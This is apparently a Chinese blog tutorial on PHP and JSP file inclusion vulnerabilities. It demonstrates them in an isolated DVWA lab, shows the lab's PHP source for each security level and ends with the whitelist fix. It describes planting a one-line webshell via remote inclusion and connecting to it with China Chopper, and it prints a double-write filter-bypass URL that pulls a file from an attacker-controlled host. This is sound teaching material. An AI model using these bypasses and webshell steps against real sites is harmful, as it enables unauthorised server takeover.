Web安全-文件包含漏洞

概述

在这里插入图片描述

PHP文件包含

本地/远程包含

(1)本地包含
在这里插入图片描述在这里插入图片描述
(2)远程包含
在这里插入图片描述

远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

文件包含检测

在这里插入图片描述

文件包含Shell

如果某个页面确实存在文件包含漏洞后,攻击者是如何利用包含漏洞来攻击Web应用程序的呢?下面将剖析几种常见的攻击方式。
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

JSP文件包含

JSP包含分为两种:静态包含和动态包含。下面详细介绍这两种包含操作。

静态包含

在这里插入图片描述

动态包含

在这里插入图片描述

漏洞的修复

在这里插入图片描述
【更多文件包含漏洞的学习】:https://www.freebuf.com/articles/web/182280.html

DVWA靶场

下面将在VMware中使用Win 7虚拟机搭建DVWA靶场,进行文件包含漏洞的实战演示:
在这里插入图片描述Win 10 物理机中可访问靶场:
在这里插入图片描述以下靶场攻击的演示过程将包括 本地文件包含、远程文件包含、如何利用图片木马(或其他文件如.txt)包含生成Shell 等完整的文件包含漏洞利用方式。

LOW

靶场页面如下:
在这里插入图片描述
先看LOW级别下low.php源代码:
在这里插入图片描述
可以看到,low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的文件。

下面验证下文件包含漏洞并简单利用:

1、当我们包含一个不存在的文件 123.php ,可以看到发生了报错,并且把网站的路径都给暴露出来了:

在这里插入图片描述2、点击包含靶场提供的文件包含漏洞测试文件file1.php,可以执行PHP脚本并查看Win 10物理机的本地IP地址:
在这里插入图片描述
3、可以在靶场网站后台查看file1.php文件的源码:
在这里插入图片描述4、接下来试着用file协议包含Win 7虚拟机本地的123.txt文件试试:
在这里插入图片描述
将成功回显文件内容:
在这里插入图片描述5、最后,将123.txt文件内容换为php脚本<?php phpinfo(); ?>,可成功包含并执行脚本:
在这里插入图片描述
接着,咱们试一下 远程文件包含 并在网站路径下生成一句话木马,最终尝试使用菜刀连接木马获得网站的控制权。

1、首先在 Kali 虚拟机中开启Apache服务:
在这里插入图片描述
2、Win 10虚拟机访问试试:
在这里插入图片描述3、在Kali虚拟机的 Apache 网站服务器的根目录下创建 hack.txt文件:
在这里插入图片描述
4、Win 10物理机访问Kali虚拟机上的远程文件,可成功访问:
在这里插入图片描述
5、接下来,使用DVWA靶场包含该远程文件:
在这里插入图片描述6、以上没有任何回显,但是此时在 Win 7 靶机的 DVWA网站的文件包含漏洞的路径下已经自动生成了一句话木马文件muma.php
在这里插入图片描述7、Win 10中使用浏览器访问该文件试试:
在这里插入图片描述8、最后,上菜刀连接木马:
在这里插入图片描述
已获得 Win 7 靶机的网站控制权:
在这里插入图片描述
最后关于本地文件包含获得Shell,我们还可以利用DVWA靶场中文件上传漏洞上传图片木马(所包含的脚本语句同上),然后利用文件包含漏洞访问木片木马,最终生成一句话木马并获得Shell,攻击过程与上述类似,此处不再复述。

有兴趣可参见另一篇博文:Web安全-文件上传漏洞,里头在DVWA靶场文件上传漏洞的High级别便是利用图片木马+文件包含漏洞获得Shell。

Medium

老规矩,先查看后台源码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?> 

可以看到,代码使用 str_replace函数对http://https://关键字进行了过滤,防止了远程包含漏洞的产生,同时也过滤了 ../..\ 防止了进行目录切换的本地文件包含。

但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://IP地址 时,str_replace 函数只会过滤一个 http://,所以最终还是会包含到 http:// 。

所以,我们可以试试访问该链接 http://10.27.25.238:8088/DVWA/vulnerabilities/fi/?=hthttp://tp://10.27.24.101/hack.txt,结果依然可以成功包含了远端的文件,所以我们就可以用一句话木马连接了。过程同上,此处不再演示。

High

先上源代码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

High级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示报错 Error:File not found。

这个简单,还留下后路了,直接结合文件上传漏洞上传图片木马,然后使用file:///协议包含图片木马,生成一句话木马文件即可。可参见另一篇博文:Web安全-文件上传漏洞,里头在DVWA靶场文件上传漏洞的High级别便是利用图片木马+文件包含漏洞获得Shell。

Impossible

源代码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

可以看到,impossible级别的代码使用了白名单过滤的方法,包含的文件名只能等于白名单中的文件,所以避免了文件包含漏洞的产生!

  • 0
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值